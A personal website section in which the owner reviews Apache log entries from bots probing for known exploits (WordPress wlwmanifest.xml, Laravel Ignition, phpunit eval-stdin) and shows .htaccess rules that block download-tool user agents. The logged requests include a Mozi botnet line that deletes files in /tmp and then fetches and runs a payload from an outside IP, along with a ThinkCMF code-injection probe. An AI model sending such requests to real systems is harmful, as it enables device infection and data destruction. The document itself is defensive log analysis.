this is not a blog

I Reckon This Must be the Place, I Reckon

Some people on the 'Net are not your friends - they are Netscum

The Underbelly of the Internet


In this brand new section I will be delving into the underbelly of the Internet – spammers, liars, fraudsters, cheats. I call these people, Netscum.

I will write about them and their shit they leave behind in my Apache log files. I will demonstrate ways I try to catch them and to block them.

I will be naming them like this Netscum, this Netscum, this Netscum and this Netscum ...

later more...

WTF is wlwmanifest.xml?

WTF is wlwmanifest.xml and why do Bots keep looking for it? For example, this happens dozens of times a month and this if from just one IP:

    /blog/wp-includes/wlwmanifest.xml
    /web/wp-includes/wlwmanifest.xml
    /wordpress/wp-includes/wlwmanifest.xml
    /website/wp-includes/wlwmanifest.xml
    /wp/wp-includes/wlwmanifest.xml
    /news/wp-includes/wlwmanifest.xml
    /2020/wp-includes/wlwmanifest.xml
    /2019/wp-includes/wlwmanifest.xml
    /shop/wp-includes/wlwmanifest.xml
    /site/wp-includes/wlwmanifest.xml
    /cms/wp-includes/wlwmanifest.xml 
    /xyz/wp-includes/wlwmanifest.xml

Let's take a look at it, shall we?

  <weblog>
    <adminUrl>
      <![CDATA[
        {blog-postapi-url}/../wp-admin/
      ]]>
    </adminUrl>
    <postEditingUrl>
      <![CDATA[
        {blog-postapi-url}/../wp-admin/post.php?action=edit&post={post-id}
      ]]>
    </postEditingUrl>
  </weblog>

So that's why! The Admin pages!

When is Wordpress going to grow up and add some basic security measures!

sigh

In the last 3 years, for this website, which has had hardly any content, that Wordpress file has been requested 4,494 times, making up 1.1 MB of log data.

If one happens to have Wordpress... I'm sorry...

[See also: WP's xml-effing-rpc.php.]

These can be Auto Blocked

Just noticed this site was hit by 186 GETs and POSTs in a row (!) to known vulnerabitities by AP address 36.92.135.82. (Took up 189KB of log space and took 10 minutes of Server time.)

Wow.

While I had to read my log file, and manually add yet another IP to be blocked via deny from, all that is needed to automate the blocking of these is an Apache mod that see's such shit and that adds a deny from to the .htaccess file...

Bam.

(Now if you have exploitable code like Joomla, Drupal, phpmyadmin, weathermap, laravel, wp-file-manager, etc. etc. etc. Just make sure you are on your toes to update, update, update. And keep your fingers crossed, crossed, crossed.)

400 - the Bad and the Bad

A curiouser look... These two showed up the other day; "Bad Request"s (400):

    "GET /_ignition/execute-solution HTTP/1.1" 400 177 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
    "POST /aspnet_client/system_web/4_0_30319/OutlookIN.aspx HTTP/1.1" 400 1000 "-" "Go-http-client/1.1"

Note the first had a response size of 177. That is the size of Apache's response, it's "400.html" file.

But the second had a response size of 1000. That is the size of my "400.html" file. (Actually, my "badua.html" file, why that, below.)

The first was not a normal "File Not Found" (404) because my Hosting Company's WAF has an entry in a list or database somewhere of the request
_ignition/execute-solution as a known exploit. (CVE-2021-3129)

The second, OutlookIN.aspx is not (yet) a known exploit – search for it – and my .htaccess is like this (in part):

    ErrorDocument 400 /htm/badua.html
    
    BrowserMatchNoCase "^(Java|Python|Qt/|null|curl|Wget|Go-http|GRequests)" BADUA=yes
    BrowserMatch "^$" BADUA=yes
    
    <If "reqenv('BADUA') == 'yes'">
    Redirect 400
    </If>

(Still working on highlighting for Apache htaccess format – nobody seems to support it...)

So the WAF catches the first, and the Browsermatch catches the second.

The "badua.html" file is like:

    <HTML>
    <HEAD><TITLE>400 Bad Request</TITLE></HEAD>
    <BODY>
    <H1>400 Bad Request</H1>
    <p>Your request used a Download Program's default Agent string.</p>
    <p>You must use an Agent string that reflects your purpose.</p>
    <br />
    <p>Here are some examples:</p>
    
    <pre>
        wget -U "Wget-User-Agent/0.1"
        curl -A "Curl-User-Agent/0.1"
    
        http.Header.Set("Golang-User-Agent/0.1", "Golang Code")
    
        $ua = new LWP::UserAgent;
        $ua->agent("Perl-User-Agent/0.1");
    
        CloseableHttpClient httpClient = HttpClientBuilder.create()
          .setUserAgent("Apache-User-Agent/0.1")
    
        opener = urllib2.build_opener()
        opener.addheaders = [('User-Agent', 'Python-User-Agent/0.1')]
    
        requests.get("https://example.com", headers={ "user-agent": "Python-Requests-User-Agent/0.1" })
    </pre>
    
    <p>If you are just using some standard requesting tools for archives or 
    some pages (like documentation), that is okay. But if scowering this website 
    repeatedly you will be banned.</p>
    
    </BODY>
    </HTML>

How is that fer tellin 'em! (Like any human is ever going to see it...)

The point is that it is quite easy to learn of new exploits. Whatever OutlookIN.aspx is – and there where four other such POSTs with slightly different paths – it's simple appearance in my logs means it's exploitable code.

sigh

Every day is Exploit Day

Just some from yesterday...

Some, like these, which are new, and probly gonna be lotsofthem till they fade...

    "GET http://www.okjs.com/index.php HTTP/1.1" 404 201 "http://www.okjs.com"
    "GET https://www.vv0.com/main.dart.js HTTP/1.1" 410 4 "https://www.vv0.com"
    "GET https://www.sky-sport.net/TOP/js/public.js HTTP/1.1" 410 4 "https://www.sky-sport.net"
    "GET https://api.tha79.com/tha79/app/download/list HTTP/1.1" 404 201 "https://api.tha79.com"
    "GET http://www.vv0.com/football/inner_redirect/skGameFootballInfoTwo/findFootballList HTTP/1.1" 404 201 "http://www.vv0.com" 

...because they are from poorly written code, for none are valid requests – or is it simply referer spam?

Then there are the... "Guess who published code with exploits?" requests.

    "GET /config/getuser?index=0 HTTP/1.1" 400 177 "-"
    "GET /_ignition/execute-solution HTTP/1.1" 400 177 "-"
    "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 400 177 "-"
    "POST /boaform/admin/formLogin HTTP/1.1" 410 4 "http://50.115.120.13:80/admin/login.asp"
    "GET /shell?cd+/tmp;rm+-rf+*;wget+http://112.30.1.133:40762/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 403 2 "-" "Hello, world"
    "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 410 4 "-" "python-requests/2.26.0"

Ya know, phpunit has been exploitable for years... Years! Years? Did they fix it yet? Old Bad Bots, never die, nor do they fade away..

Most of those a known exploits, which one can tell by a few web searches, like for "HelloThinkPHP".

Then there are the full blown, WTFs!

    94.232.40.134 - - [22/Nov/2021:22:25:27 -0700] "\x03" 404 - "-" "-"
    222.186.19.235 - - [22/Nov/2021:18:04:16 -0700] "\x16\x03\x01" 404 - "-" "-"

(A misconfigured Apache SLL setup it looks like.)

sigh

Oh. The differences – if one noticed – in the error codes, 400, 404, 410, is because some are blocked by my
Web Hosting company and some by my .htaccess file.